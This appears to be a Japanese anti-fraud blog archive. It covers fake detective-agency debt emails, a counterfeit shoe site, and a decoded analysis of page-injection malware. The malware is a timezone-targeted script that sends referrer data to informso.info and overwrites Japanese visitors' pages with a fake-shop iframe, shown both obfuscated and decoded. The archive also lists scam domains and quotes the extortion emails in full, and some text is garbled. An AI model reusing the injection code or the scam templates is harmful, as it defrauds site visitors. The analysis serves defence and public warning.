![[11]](https://s.yimg.jp/i/jp/blog/p3/images/paging_for2.gif){kind=small}
（要約） またもや偽探偵業者によるメールの質問が掲載されていました。 前回は「�螢薀ぅ坤─璽献Д鵐掘次廚般松茲辰討い泙靴燭韻鼻� 今度は「（株）商業通信管理」です。 http://c.statcounter.com/4440886/0/1c5b0b72/0/ 人閲覧者接続情報 http://www.robtex.com/ipinfo.gifまたもや偽探偵業者によるメールの質問が掲載されていました。 前回は「�螢薀ぅ坤─璽献Д鵐掘次廚般松茲辰討い泙靴拭� �螢薀ぅ坤─璽献Д鵐掘爾般松茲覯饉劼�ら �螢薀ぅ坤─璽献Д鵐掘� 管理番号： 【御通知】 御忙しい所失礼致します。 御客様のメール受信設定による御連絡の不着防止の為、弊社規定携帯端末からEメールによる通達を予め御了承下さい。 弊社は調査機関 �螢薀ぅ坤─璽献Д鵐掘爾反修靴泙后�インターネットサイト『スマートトーク（管理会社�螢�リエイト）』の利用状況に関して、サイト登録のまま放置状態とされています。 先方企業は、再三に亘る電子文書による通知状況を踏まえ、請求金額の徴収を困難とし、簡易裁判所に於ける法的解決を求められる段階で、弊社に身辺調査の依頼申請を提出されています。 身辺調査依頼の受託前に状況の再確認に御協力頂きたく御連絡させて頂きましたが、以下の点に関して再度御確認下さい。 ・誤操作による登録の可能性は無いか？ ・先方企業の通達を受信（確認）出来ていたか？ 民事訴訟規則において、訴状提出を控えた現状に於いても、先方企業の御理解の上で、簡潔な解決の手段は御座いますが、状況によって事案の対処、解決の方法は大きく異なって参ります。 御自身の状況の確認や、御相談の際は、冒頭の管理番号を把握して頂いた上、弊社まで御連絡下さい。 尚、本案件は翌営業日正午までの受付となります。予め御了承下さい。 �螢薀ぅ坤─璽献Д鵐掘� 受付回線番号：03-6633-8494 受付時間 平日 10:00〜19:00 土 10:00〜17:00 日・祝 定休日 弊社HP http://comm-system.net/ というようなメールが携帯スマートホンに届いたんですが、私はまったく身に覚えが無いですが、これは詐欺メールの1種でしょうか？ ( 2016/03/21(月) 08:55 ) 今度は「（株）商業通信管理」です。 今日このようなメールが届いていて、とても不安です。 ↓メールの全文 �蠑Χ板命�管理 管理番号：G022844 【御通知】 御忙しい所失礼致します。 御客様のメール受信設定による御連絡の不着防止の為、弊社規定携帯端末からEメールによる通達を予め御了承下さい。 弊社は調査機関 �蠑Χ板命�管理と申します。インターネットサイト『クロストーク（管理会社�螢�ロスメディア）』の利用状況に関して、サイト登録のまま放置状態とされています。 先方企業は、再三に亘る電子文書による通知状況を踏まえ、請求金額の徴収を困難とし、簡易裁判所に於ける法的解決を求められる段階で、弊社に身辺調査の依頼申請を提出されています。 身辺調査依頼の受託前に状況の再確認に御協力頂きたく御連絡させて頂きましたが、以下の点に関して再度御確認下さい。 ・誤操作による登録の可能性は無いか？ ・先方企業の通達を受信（確認）出来ていたか？ 民事訴訟規則において、訴状提出を控えた現状に於いても、先方企業の御理解の上で、簡潔な解決の手段は御座いますが、状況によって事案の対処、解決の方法は大きく異なって参ります。 御自身の状況の確認や、御相談の際は、冒頭の管理番号を把握して頂いた上、弊社まで御連絡下さい。 尚、本案件は翌営業日正午までの受付となります。予め御了承下さい。 �蠑Χ板命�管理 受付回線番号：03-6635-4557 受付時間 平日 10:00〜19:00 土 10:00〜17:00 日・祝 定休日 弊社HP http://comm-system.net/ ↑メールの全文 私はクロストーク？なんてもの身に覚えにありません。 でもHPのURLを調べてみたら本当に（株）商業通信管理というところに飛んでいったので、本当の請求メールなのか、詐欺のメールなのか分からなくて混乱しています。 「民事訴訟規則において」とか書いてあるし、怖いです。 このメールの送り主（？）のドメインがdocomo.ne.jpだったので、ただの迷惑メールでしょと思いましたが、「弊社規定携帯端末からEメールによる通達を予めご了承ください」と書いてあるし………。 これは無視しても大丈夫なのでしょうか…？ ( 2016/03/28(月) 17:37 ) 内閣府認可法人（国公委生発第28号）全国調査業協同組合 会員No.3185 東京都公安委員会 探偵業届出証明番号 第30070026号 ところが、全国調査業協同組合のホームページに、会員No.3185 の記載がありません。 ※ 法人認可は「内閣府」ではなく、「内閣総理大臣」です。 ※ 会員No.3185 の記載がありません。 ● 上のようなメールが届いたら、警視庁 生活安全総務課 へ通報をお願い致します。 【問合せ先】 ＞ http://www.keishicho.metro.tokyo.jp/tetuzuki/tantei/kaiketu/kaiketu.htm 警視庁 生活安全総務課 防犯営業第三係 TEL 03-3581-4321（代表）  Messaage Box 書庫 投稿ネタはコレに決まり！ 話題のキーワードをチェック！娘4人, 長野美郷, 覚り, 善循環, 吉田恵, 真底, 久保田智子, ウインドウズ10, 現実感覚, 生野陽子, 平成9年度, 夏目三久, 中学校教員, 麻原彰晃死刑囚, 高畑百合子, 巨人軍選手, 杉崎美香, 北海道新幹線, 枡田絵理奈, 洗脳状態
|
ネット詐欺詳細
-
詳細
スパム対策に関するお知らせ 
記事と無関係な多重コメントは無条件削除します 
コメント（2）
コメント（2）
（要約） 知恵袋にニューバランスの詐欺サイトに関する質問がありましたが、 調べてみると「Tiffany からの請求書」をぶら下げたままとなっておりました。 http://c.statcounter.com/4440886/0/1c5b0b72/0/ 人閲覧者接続情報 http://www.robtex.com/ipinfo.gif知恵袋にニューバランスの詐欺サイトに関する質問がありました。 ニューバランスの靴を下記のURLから購入したんですが商品が届かなくて… こちらは公式サイトではない詐欺サイトなんでしょうか？ hxxp://www.nbalanceathletics.com/ ◆サムネールを見る ドメイン登録情報を確認すると、プライバシー保護処置はしてありますが 中華人民共和国のサイトと判明です。 ● 【 ドメイン登録情報 】[ドメイン基礎情報] ドメイン名：nbalanceathletics.com Whois サーバー：grs-whois.cndns.com 更新日：2015-11-06 14:46:46 作成日：2014-11-26 00:33:36 満了日：2016-11-26 00:33:36 レジストラ：SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD. [ドメイン登録者] 氏名：Whois Agent 組織名：Domain Whois Privacy Protection Service 街区名：Room3001, No. 707 Zhangyang Road, Shanghai 都市名：shanghai 州/県名：shanghai 郵便番号：200122 国名：china ＜＝＝ 中華人民共和国 電話番号：+86.02151697771 FAX 番号：+86.02151697771 電子メール：yumingyinsibaohu@cndns.com これだけでは面白みがありませんから、robots.txtも開いてみました。 あまり見掛けないのですが、このrobots.txtにはサイトマップ（赤字）が含まれています。 そこで開いてみると、このように移動したのです。 http://www.tiffanyjpbuy.com/sitemap.xmlHTTP/1.1 302 Found
Server: Microsoft-IIS/7.5 Date: Sat, 26 Mar 2016 08:59:53 GMT Location: http://www.tiffany-focus.com/ Connection: close X-Powered-By: ASP.NET Content-Length: 146 「www.tiffany-focus.com って、もしや？」と思いつつ開いてみると、 やっぱりTiffany からの請求書でした。 過去に米国で一方的な裁判を受けたのを知ってか知らずか、 多額の賠償請求を抱えたままに、相変らずも別の詐欺に勤しんでいるのでした。 それも「Tiffany からの請求書」をぶら下げたままで･･･ Messaage Box 書庫 投稿ネタはコレに決まり！ 話題のキーワードをチェック！ラストラン, 春休み, 菜の花, 卒業式, 安倍政権, 花冷え, ご依頼, 乙武, 年度末, 終業, 北海道新幹線, お彼岸, 修了, 開花宣言, ダイヤ改正, 寒の戻り, image, イースター, プロ野球開幕, https
|
（要約） 久しぶりに現れた中華人民共和国のハッキング詐欺だったのですけど、 さらにサイトを発見すべくクローリングしていたら、思わぬ事態となりました。 http://c.statcounter.com/4440886/0/1c5b0b72/0/ 人閲覧者接続情報 http://www.robtex.com/ipinfo.gif久しぶりに現れた中華人民共和国のハッキング詐欺だったのですけど、 さらにサイトを発見すべくクローリングしていたら、思わぬ事態となりました。 このハッキング詐欺が寄生している宿主サイトから、さらなる感染先ページアドレスと、 ページに含まれるスクリプトアドレスを１回のクローリングで集めるようにして さらに時間短縮を図る試みをしていました。 プログラムのテストは順調だったのですが、集めたスクリプトをテストすると機能しません。 というより、スクリプトアドレスにアクセスしてもスクリプトファイルが存在しなくなっていました。 つまり、不正に作成されたページは残っていても、詐欺サイトのページが上書きされませんので 詐欺に引っ掛る要素が消えてしまっているわけです。 残ったのは、このような詐欺の置き土産となったゴミページだけなんですよ。 中国って、犯罪には厳し〜いお国だからですかね？ ブログにまとめて記載すると証拠を消す動きをするような感触を受けています。 ちなみにプロファイリングの結論から言えば、 以前に52MOP.CNを利用していた犯罪集団です。 分析結果をそのままにしておくのは、あまりにもモッタイナイですから、 発見できていたスクリプトアドレスの一覧を掲載しておきますね。 HTTP/1.1 404 Not Found http://informso.info/asqhkzz.js HTTP/1.1 404 Not Found http://informso.info/bcmjicm.js HTTP/1.1 404 Not Found http://informso.info/bcpfhz.js HTTP/1.1 404 Not Found http://informso.info/bhzmndo.js HTTP/1.1 404 Not Found http://informso.info/buiftvh.js HTTP/1.1 404 Not Found http://informso.info/cjuldgc.js HTTP/1.1 404 Not Found http://informso.info/dfcjnzak.js HTTP/1.1 404 Not Found http://informso.info/dozufgoh.js HTTP/1.1 404 Not Found http://informso.info/dtjlqhm.js HTTP/1.1 404 Not Found http://informso.info/ecpxis.js HTTP/1.1 404 Not Found http://informso.info/exqjvb.js HTTP/1.1 404 Not Found http://informso.info/fgrimf.js HTTP/1.1 404 Not Found http://informso.info/fshghras.js HTTP/1.1 404 Not Found http://informso.info/fypfefe.js HTTP/1.1 404 Not Found http://informso.info/gihzektx.js HTTP/1.1 404 Not Found http://informso.info/gnmrmr.js HTTP/1.1 404 Not Found http://informso.info/gsoourcj.js HTTP/1.1 404 Not Found http://informso.info/gviobk.js HTTP/1.1 404 Not Found http://informso.info/gzzpeol.js HTTP/1.1 404 Not Found http://informso.info/hbdupd.js HTTP/1.1 404 Not Found http://informso.info/hlhlcv.js HTTP/1.1 404 Not Found http://informso.info/hnnuflye.js HTTP/1.1 404 Not Found http://informso.info/huzvqii.js HTTP/1.1 404 Not Found http://informso.info/hymgpnld.js HTTP/1.1 404 Not Found http://informso.info/iftsclnt.js HTTP/1.1 404 Not Found http://informso.info/ipjqrw.js HTTP/1.1 404 Not Found http://informso.info/jdmvjefm.js HTTP/1.1 404 Not Found http://informso.info/jjczcom.js HTTP/1.1 404 Not Found http://informso.info/jmruqb.js HTTP/1.1 404 Not Found http://informso.info/jyavpxd.js HTTP/1.1 404 Not Found http://informso.info/kkpkeck.js HTTP/1.1 404 Not Found http://informso.info/kvxwprs.js HTTP/1.1 404 Not Found http://informso.info/lhaemrn.js HTTP/1.1 404 Not Found http://informso.info/lurzcmia.js HTTP/1.1 404 Not Found http://informso.info/mebpty.js HTTP/1.1 404 Not Found http://informso.info/meogqaw.js HTTP/1.1 404 Not Found http://informso.info/mlhsyrg.js HTTP/1.1 404 Not Found http://informso.info/mlwxtk.js HTTP/1.1 404 Not Found http://informso.info/nbwmnv.js HTTP/1.1 404 Not Found http://informso.info/nkdehvpq.js HTTP/1.1 404 Not Found http://informso.info/nmwhsgkx.js HTTP/1.1 404 Not Found http://informso.info/nohtdiq.js HTTP/1.1 404 Not Found http://informso.info/nxjdzkco.js HTTP/1.1 404 Not Found http://informso.info/oezjrj.js HTTP/1.1 404 Not Found http://informso.info/olcqyfo.js HTTP/1.1 404 Not Found http://informso.info/otejnkaf.js HTTP/1.1 404 Not Found http://informso.info/oywobyal.js HTTP/1.1 404 Not Found http://informso.info/phsbkt.js HTTP/1.1 404 Not Found http://informso.info/pktuiky.js HTTP/1.1 404 Not Found http://informso.info/pnsxyqqz.js HTTP/1.1 404 Not Found http://informso.info/psgkio.js HTTP/1.1 404 Not Found http://informso.info/pucbrrtx.js HTTP/1.1 404 Not Found http://informso.info/pzvdwazr.js HTTP/1.1 404 Not Found http://informso.info/qbwzmgjx.js HTTP/1.1 404 Not Found http://informso.info/qeigbb.js HTTP/1.1 404 Not Found http://informso.info/qixsvkx.js HTTP/1.1 404 Not Found http://informso.info/qrcrbgby.js HTTP/1.1 404 Not Found http://informso.info/qvgaiidn.js HTTP/1.1 404 Not Found http://informso.info/rakmoaqu.js HTTP/1.1 404 Not Found http://informso.info/rcohty.js HTTP/1.1 404 Not Found http://informso.info/rtsxbreh.js HTTP/1.1 404 Not Found http://informso.info/sarkig.js HTTP/1.1 404 Not Found http://informso.info/sbalaj.js HTTP/1.1 404 Not Found http://informso.info/sclidgz.js HTTP/1.1 404 Not Found http://informso.info/sdrfql.js HTTP/1.1 404 Not Found http://informso.info/snvdjea.js HTTP/1.1 404 Not Found http://informso.info/syexvy.js HTTP/1.1 404 Not Found http://informso.info/tftsibzt.js HTTP/1.1 404 Not Found http://informso.info/tkektcxz.js HTTP/1.1 404 Not Found http://informso.info/tritlrps.js HTTP/1.1 404 Not Found http://informso.info/tsahivz.js HTTP/1.1 404 Not Found http://informso.info/tubhpxy.js HTTP/1.1 404 Not Found http://informso.info/udsbia.js HTTP/1.1 404 Not Found http://informso.info/upwzzk.js HTTP/1.1 404 Not Found http://informso.info/wigwob.js HTTP/1.1 404 Not Found http://informso.info/wlzecu.js HTTP/1.1 404 Not Found http://informso.info/wytcfnc.js HTTP/1.1 404 Not Found http://informso.info/xbjvimr.js HTTP/1.1 404 Not Found http://informso.info/xflbkqa.js HTTP/1.1 404 Not Found http://informso.info/yplmdc.js HTTP/1.1 404 Not Found http://informso.info/ywtgrgiz.js HTTP/1.1 404 Not Found http://informso.info/zdwyqwo.js 中国の公安当局さん、ぜひとも犯罪者を捕まえてお尻ペンペンしてくださいね。 Messaage Box 書庫 投稿ネタはコレに決まり！ 話題のキーワードをチェック！ラストラン, 開花宣言, 北海道新幹線, ダイヤ改正, 安倍政権, プロ野球開幕, イースター, https, 修了, 春休み, お彼岸, 花冷え, 寒の戻り, image, 終業, 菜の花, 年度末, ご依頼, 卒業式, 乙武
|
（要約） 偽造サイトについての質問です。 こちらのサイトは詐欺でしょうか？ 知っている方、よろしくお願い致します。 http://c.statcounter.com/4440886/0/1c5b0b72/0/ 人閲覧者接続情報 http://www.robtex.com/ipinfo.gif（詔書偽造等） 第百五十四条 行使の目的で、御璽、国璽若しくは御名を使用して詔書その他の文書を偽造し、又は偽造した御璽、国璽若しくは御名を使用して詔書その他の文書を偽造した者は、無期又は三年以上の懲役に処する。 ２ 御璽若しくは国璽を押し又は御名を署した詔書その他の文書を変造した者も、前項と同様とする。 （公文書偽造等） 第百五十五条 行使の目的で、公務所若しくは公務員の印章若しくは署名を使用して公務所若しくは公務員の作成すべき文書若しくは図画を偽造し、又は偽造した公務所若しくは公務員の印章若しくは署名を使用して公務所若しくは公務員の作成すべき文書若しくは図画を偽造した者は、一年以上十年以下の懲役に処する。 ２ 公務所又は公務員が押印し又は署名した文書又は図画を変造した者も、前項と同様とする。 ３ 前二項に規定するもののほか、公務所若しくは公務員の作成すべき文書若しくは図画を偽造し、又は公務所若しくは公務員が作成した文書若しくは図画を変造した者は、三年以下の懲役又は二十万円以下の罰金に処する。 （虚偽公文書作成等） 第百五十六条 公務員が、その職務に関し、行使の目的で、虚偽の文書若しくは図画を作成し、又は文書若しくは図画を変造したときは、印章又は署名の有無により区別して、前二条の例による。 （公正証書原本不実記載等） 第百五十七条 公務員に対し虚偽の申立てをして、登記簿、戸籍簿その他の権利若しくは義務に関する公正証書の原本に不実の記載をさせ、又は権利若しくは義務に関する公正証書の原本として用いられる電磁的記録に不実の記録をさせた者は、五年以下の懲役又は五十万円以下の罰金に処する。 ２ 公務員に対し虚偽の申立てをして、免状、鑑札又は旅券に不実の記載をさせた者は、一年以下の懲役又は二十万円以下の罰金に処する。 ３ 前二項の罪の未遂は、罰する。 （偽造公文書行使等） 第百五十八条 第百五十四条から前条までの文書若しくは図画を行使し、又は前条第一項の電磁的記録を公正証書の原本としての用に供した者は、その文書若しくは図画を偽造し、若しくは変造し、虚偽の文書若しくは図画を作成し、又は不実の記載若しくは記録をさせた者と同一の刑に処する。 ２ 前項の罪の未遂は、罰する。 （私文書偽造等） 第百五十九条 行使の目的で、他人の印章若しくは署名を使用して権利、義務若しくは事実証明に関する文書若しくは図画を偽造し、又は偽造した他人の印章若しくは署名を使用して権利、義務若しくは事実証明に関する文書若しくは図画を偽造した者は、三月以上五年以下の懲役に処する。 ２ 他人が押印し又は署名した権利、義務又は事実証明に関する文書又は図画を変造した者も、前項と同様とする。 ３ 前二項に規定するもののほか、権利、義務又は事実証明に関する文書又は図画を偽造し、又は変造した者は、一年以下の懲役又は十万円以下の罰金に処する。 （虚偽診断書等作成） 第百六十条 医師が公務所に提出すべき診断書、検案書又は死亡証書に虚偽の記載をしたときは、三年以下の禁錮又は三十万円以下の罰金に処する。 （偽造私文書等行使） 第百六十一条 前二条の文書又は図画を行使した者は、その文書若しくは図画を偽造し、若しくは変造し、又は虚偽の記載をした者と同一の刑に処する。 ２ 前項の罪の未遂は、罰する。 （電磁的記録不正作出及び供用） 第百六十一条の二 人の事務処理を誤らせる目的で、その事務処理の用に供する権利、義務又は事実証明に関する電磁的記録を不正に作った者は、五年以下の懲役又は五十万円以下の罰金に処する。 ２ 前項の罪が公務所又は公務員により作られるべき電磁的記録に係るときは、十年以下の懲役又は百万円以下の罰金に処する。 ３ 不正に作られた権利、義務又は事実証明に関する電磁的記録を、第一項の目的で、人の事務処理の用に供した者は、その電磁的記録を不正に作った者と同一の刑に処する。 ４ 前項の罪の未遂は、罰する。 Messaage Box 書庫 投稿ネタはコレに決まり！ 話題のキーワードをチェック！年度末, スマホ, 春休み, 乙武, https, 塵, 逆戻り, LINE, 開花宣言, 菜の花, 山桜, 卒業式, ダイヤ改正, 寒の戻り, 修了, 終業, 福山雅治, 花冷え, カタクリ, お彼岸
|
（要約） 久しぶりに「中国ハッキング詐欺」のケースが知恵袋へ掲載されていました。 その事例から７４００ページほどをクローリングした結果、４２サイトを発見です。 http://c.statcounter.com/4440886/0/1c5b0b72/0/ 人閲覧者接続情報 http://www.robtex.com/ipinfo.gif久しぶりに「中国ハッキング詐欺」のケースが知恵袋へ掲載されていました。 ■ 外部スクリプト置き場となっているドメイン登録情報は次の通りですが、 この情報は虚偽の可能性があります。 ● 【 ドメイン登録情報 】[ドメイン基礎情報] ドメイン名：informso.info Whois サーバー：whois.godaddy.com 更新日：2016-03-13T01:21:52Z 作成日：2016-03-13T01:21:51Z 満了日：2017-03-13T01:21:51Z レジストラ：GoDaddy.com, LLC [ドメイン登録者] 氏名：Farrah Hussain 街区名：Sakyo-ku, Kyoto Iwakuranagatani town 都市名：Kyoto 州/県名：Tokyo 郵便番号：6060026 ＜＝＝ 京都府京都市左京区岩倉長谷町 国名：JP 電話番号：+81.9069643211 電子メール：storeonline274@outlook.com ※ 名前が日本人でない事と地番記載がない事から、この登録情報は虚偽の可能性があると判断しております。 見つかった仕掛けは、ハッキング先のページに１つのスクリプトを置いてあり そのスクリプトが外部のスクリプト２つを経由して、日本人だけを騙す手口となっていました。 ハッキング先のページに置いてあったスクリプトです。 http://brinkhall.fi/9r2m6z.jsi≫?var bcpfhz=String.fromCharCode(60,115,99,114,105,112,116,32,116,121,1 12,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34, 32,115,114,99,61,34,104,116,116,112,58,47,47,105,110,102,111,114,109,115 ,111,46,105,110,102,111,47,98,99,112,102,104,122,46,106,115,34,62,60,47, 115,99,114,105,112,116,62);document.write(bcpfhz); アスキーコードの数字で羅列してありますから文字に変換すると次のようになり 外部サイトへ置いてあるスクリプトを呼び出していると判明します。 i≫?var bcpfhz='<script type="text/javascript" src="http://informso.info/ bcpfhz.js"></script>';document.write(bcpfhz); 呼び出される外部サイトへ置いてあるスクリプトです。 http://informso.info/bcpfhz.jseval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))
+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/
^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e
=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegEx
p('\\b'+e(c)+'\\b','g'),k[c])}}return p}('s(d.c(n,7,1,g,1,0,5,0,1,9,0,2,
6,3,r,0,A,B,C,z,3,j,8,3,2,0,2,4,h,r,3,6,p,j,0,2,4,k,1,0,5,0,1,1,0,1,i,q)
);s(d.c(n,7,1,g,b,1,0,5,9,0,2,6,3,r,0,A,B,C,z,3,j,8,3,2,0,2,4,h,u,3,6,7,
4,e,3,2,k,b,1,0,5,i,q));s(d.c(n,7,1,g,l,3,2,0,9,h,2,0,H,g,K,7,4,0,h,i,k,
t,0,4,L,e,j,0,l,3,2,0,G,5,5,f,0,4,h,i,m,E,F,i,D,h,X,M,i,q));V a=d.c(x,f,
6,1,e,8,4,g,u,7,2,t,p,7,t,0,9,o,W,7,n,7,f,6,1,e,8,4,o,g,f,1,6,9,o,b,4,4,
8,S,m,m,e,2,5,3,1,j,f,3,k,e,2,5,3,m,y,6,8,5,b,l,k,8,b,8,N,P,p,0,1,R,9,6,
u,7,1,Q,f,O,y,6,8,5,b,l,v,1,0,5,0,1,9)+T+d.c(v,b,1,0,5,9)+Y+d.c(v,l,3,2,
0,9)+U+d.c(o,w,x,m,f,6,1,e,8,4,w);J.I(a)',61,61,'101|114|110|111|116|102
|99|97|112|61||104|fromCharCode|String|105|115|32|40|41|109|46|122|47|11
8|34|117|59|100|eval|103|108|38|62|60|98|67|85|82|73|42|54|48|79|119|wri
te|document|68|84|49|63|95|113|107|121|58|refer|zone|var|106|45|href'.sp
lit('|'),0,{}))
Dean Edwards' JS Packer でパッキングされていますので解毒します。 するとアスキーコードの数字で羅列してあるスクリプトが現れました。 eval(String.fromCharCode(118,97,114,32,114,101,102,101,114,61,101,110,99 ,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,100,111,99,1 17,109,101,110,116,46,114,101,102,101,114,114,101,114,41,59));eval(Strin g.fromCharCode(118,97,114,32,104,114,101,102,61,101,110,99,111,100,101,8 5,82,73,67,111,109,112,111,110,101,110,116,40,108,111,99,97,116,105,111, 110,46,104,114,101,102,41,59));eval(String.fromCharCode(118,97,114,32,12 2,111,110,101,61,40,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84 ,105,109,101,122,111,110,101,79,102,102,115,101,116,40,41,47,54,48,41,42 ,40,45,49,41,59));var a=String.fromCharCode(60,115,99,114,105,112,116,32 ,108,97,110,103,117,97,103,101,61,34,106,97,118,97,115,99,114,105,112,11 6,34,32,115,114,99,61,34,104,116,116,112,58,47,47,105,110,102,111,114,10 9,115,111,46,105,110,102,111,47,98,99,112,102,104,122,46,112,104,112,63, 113,117,101,114,121,61,99,108,97,114,107,115,95,98,99,112,102,104,122,38 ,114,101,102,101,114,61)+refer+String.fromCharCode(38,104,114,101,102,61 )+href+String.fromCharCode(38,122,111,110,101,61)+zone+String.fromCharCo de(34,62,60,47,115,99,114,105,112,116,62);document.write(a) 上と同じように解毒すると、次のスクリプトになります。 var refer=encodeURIComponent(document.referrer);var href=encodeURICompon ent(location.href);var zone=(new Date().getTimezoneOffset()/60)*(-1);var a='<script language="javascript" src="http://informso.info/bcpfhz.php?q uery=clarks_bcpfhz&refer='+refer+'&href='+href+'&zone='+zone+'"></script >';document.write(a) 現れたスクリプトには仕掛けが施してあり、パソコンのタイムゾーンを付けないと機能しません。 機能するのは＋９時間のタイムゾーンだけで、これは日本人だけを狙う仕掛けです。 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.r
eplace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[f
unction(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k
[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('d 2=
(b e().f()/g)*(-1);a(2==9){4.3.5.6="<8 7=\'i%\' k=\'q\' r=\'s\' t=\'0\'
p=\'j://l.m.n/o-c-u.h\'>"}',31,31,'||tzo|document|top|body|innerHTML|wid
th|iframe||if|new||var|Date|getTimezoneOffset|60|html|100|http|scrolling
|www|tamncc|pw|category|src|no|height|6000|frameborder|25'.split('|'),0,
{}))
Dean Edwards' JS Packer でパッキングされていますので解毒します。 すると表示しているページ全体を上書きするスクリプトが現れました。 var tzo=(new Date().getTimezoneOffset()/60)*(-1);if(tzo==9){top.document
.body.innerHTML="<iframe width='100%' scrolling='no' height='6000' frame
border='0' src='http://www.tamncc.pw/category-c-25.html'>"}
つまり、最後のスクリプト解毒結果に現れたアドレスのサイトが詐欺サイトとなります。 上の事例を起点として７４００ページほどをクローリングした結果、４２サイトを発見です。 【品質保証】CLEDRAN 激安専門店! ⇒ http://www.binqos.pw/ 【品質保証】レスポートサック 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.bxugte.review/ 超美品スカーフ専門店，期間限定！ ⇒ http://www.cdcdfz.top/ 【品質保証】ジョンスメドレー 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.chgnmb.review/ 【品質保証】オールデン 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.dcopzm.review/ 【品質保証】ムーレー 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.dvnekm.review/ 【2016 セール】電動ガン 最低価格で,が絶対見つかる! ⇒ http://www.ejtvjx.pw/ 【品質保証】ロロピアーナ!人気売れ筋ランキング! ⇒ http://www.enavzk.top/ 【品質保証】ゾンネ 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.erntvb.review/ 【品質保証】エンジェルクローバー 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.flirek.review/ 【品質保証】インコテックス 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.gxlrnj.review/ 品質保証 主要なブランドの音専門ストア！ ⇒ http://www.gzfuyui.review/ 【2016 セール】ダコタ 最低価格で,が絶対見つかる! ⇒ http://www.hbcpar.pw/ 【品質保証】家具 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.hkzupq.review/ 【2016 セール】スロウ 最低価格で,が絶対見つかる! ⇒ http://www.jykiuyk.pw/ 【2016 セール】スケートボード 最低価格で,が絶対見つかる! ⇒ http://www.lkhvpmv.pw/ 【2016 セール】 洗濯機 最低価格で,が絶対見つかる! ⇒ http://www.mghema.pw/ 【品質保証】若者に大人気！キッチン 家電 史上最安値の人気通販店 ⇒ http://www.mlxfuqy.racing/ 【品質保証】マンダリナダック 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.ngbyfq.review/ 【2016 セール】アーメン最低価格で,が絶対見つかる! ⇒ http://www.oxobsk.pw/ 【品質保証】KOOS/コース 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.pqsmqj.review/ 人気満点 【ダントン】 ! 新作大特集 が買い安い！ ⇒ http://www.rnwrava.space/ 最先端の ラルディーニ 販売店! いらっしゃいませ！ ⇒ http://www.rtmpdt.pw/ 【2016 セール】スノーボード 最低価格で,が絶対見つかる! ⇒ http://www.smgrb.xyz/ 【2016 セール】 エルメス最低価格で,が絶対見つかる! ⇒ http://www.stbzbv.pw/ 【2016 セール】 ブランド靴 最低価格で,が絶対見つかる! ⇒ http://www.tamncc.pw/ 【品質保証】アルファ 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.tulzjj.review/ 【品質保証】カーナビゲーション専門店.若者に大人気！最安値に挑戦! ⇒ http://www.vfxvdkj.racing/ 【品質保証】フルラ 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.vjkqvj.review/ HTTP/1.1 302 Moved Temporarily ⇒ http://www.wiiatya.click/ 【2016 セール】 ギター 最低価格で,が絶対見つかる! ⇒ http://www.wxynhe.pw/ 【2016 セール】 スーツケース 最低価格で,が絶対見つかる! ⇒ http://www.wzcdxqe.online/ 大人気沸騰する 【コート】!【品質保証】 ⇒ http://www.wzhtjqo.xyz/ 新作激安登場！季節/生活家電/脱毛器 人気売れ筋ランキング 激安専門店! ⇒ http://www.wzwuauz.link/ 【品質保証】ストライダー 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.xosooe.review/ 【品質保証】アイソラ 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.xtnyus.review/ 特価高品質GPS！期間限定！ ⇒ http://www.yjxeiq.top/ 【品質保証】ハリスツイード 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.ylytkt.review/ 新作激安登場！ベビー用品!人気売れ筋ランキング 激安専門店! ⇒ http://www.yrjzkcl.date/ 【品質保証】ジムフレックス 専門店.若者に大人気！最安値に挑戦! ⇒ http://www.zdmqod.review/ 【2016 セール】アインソフ 最低価格で,が絶対見つかる! ⇒ http://www.zmabzb.pw/ 人気満点 サーフボード! 新作大特集 が買い安い！ ⇒ http://www.zppwnnc.faith/ 全部、ドメイン「informso.info」のスクリプトを経由するハッキング寄生ですから、 ファイアウォールに「informso.info」をブロック設定すると詐欺被害を防げます。 海外の詐欺に対しては、日本の警察に捜査権限がありません。 ■ クレジットカードでの支払いなら クレジット会社に連絡してクレジットカードの停止と再発行をしてください。 ■ クレジットカードの契約によっては犯罪被害補償を受けられることもあります。 詳しくはクレジット会社にお尋ねくださいね。 ■ 銀行振り込みなら、 送金先の銀行に上の情報を伝えて、相手口座の凍結をしてもらってください。 警察へ申請するように促された場合は、その指示に従い警察から凍結依頼するようにして下さい。 （残金があれば被害者で按分することになります） ■ 代引でもゴミを送り付けてくる可能性があります。 ご家族を含めて、不審な荷物は受け取らないように周知徹底しておいてくださいね。 ■ サイトへ登録した個人情報は、他の詐欺サイト開設に利用される恐れがあります。 もしサイトへの登録情報を削除できるようでしたら削除し、サイトへの登録情報を変更できるようでしたら、氏名、住所、電話番号などをデタラメなものに修正しておいてください。 ※ もよりの警察署の住所、電話番号を書いておくといいかも知れません。 Messaage Box 書庫 投稿ネタはコレに決まり！ 話題のキーワードをチェック！https, 年度末, 春休み, はまなす, ツイート, 枝垂れ桜, 早咲き, マツコ, 花冷え, 卒業式, 開花宣言, 自爆テロ, 寒の戻り, ダイヤ改正, 木蓮, image, 春分, お彼岸, カタクリ, 稀勢の里
|
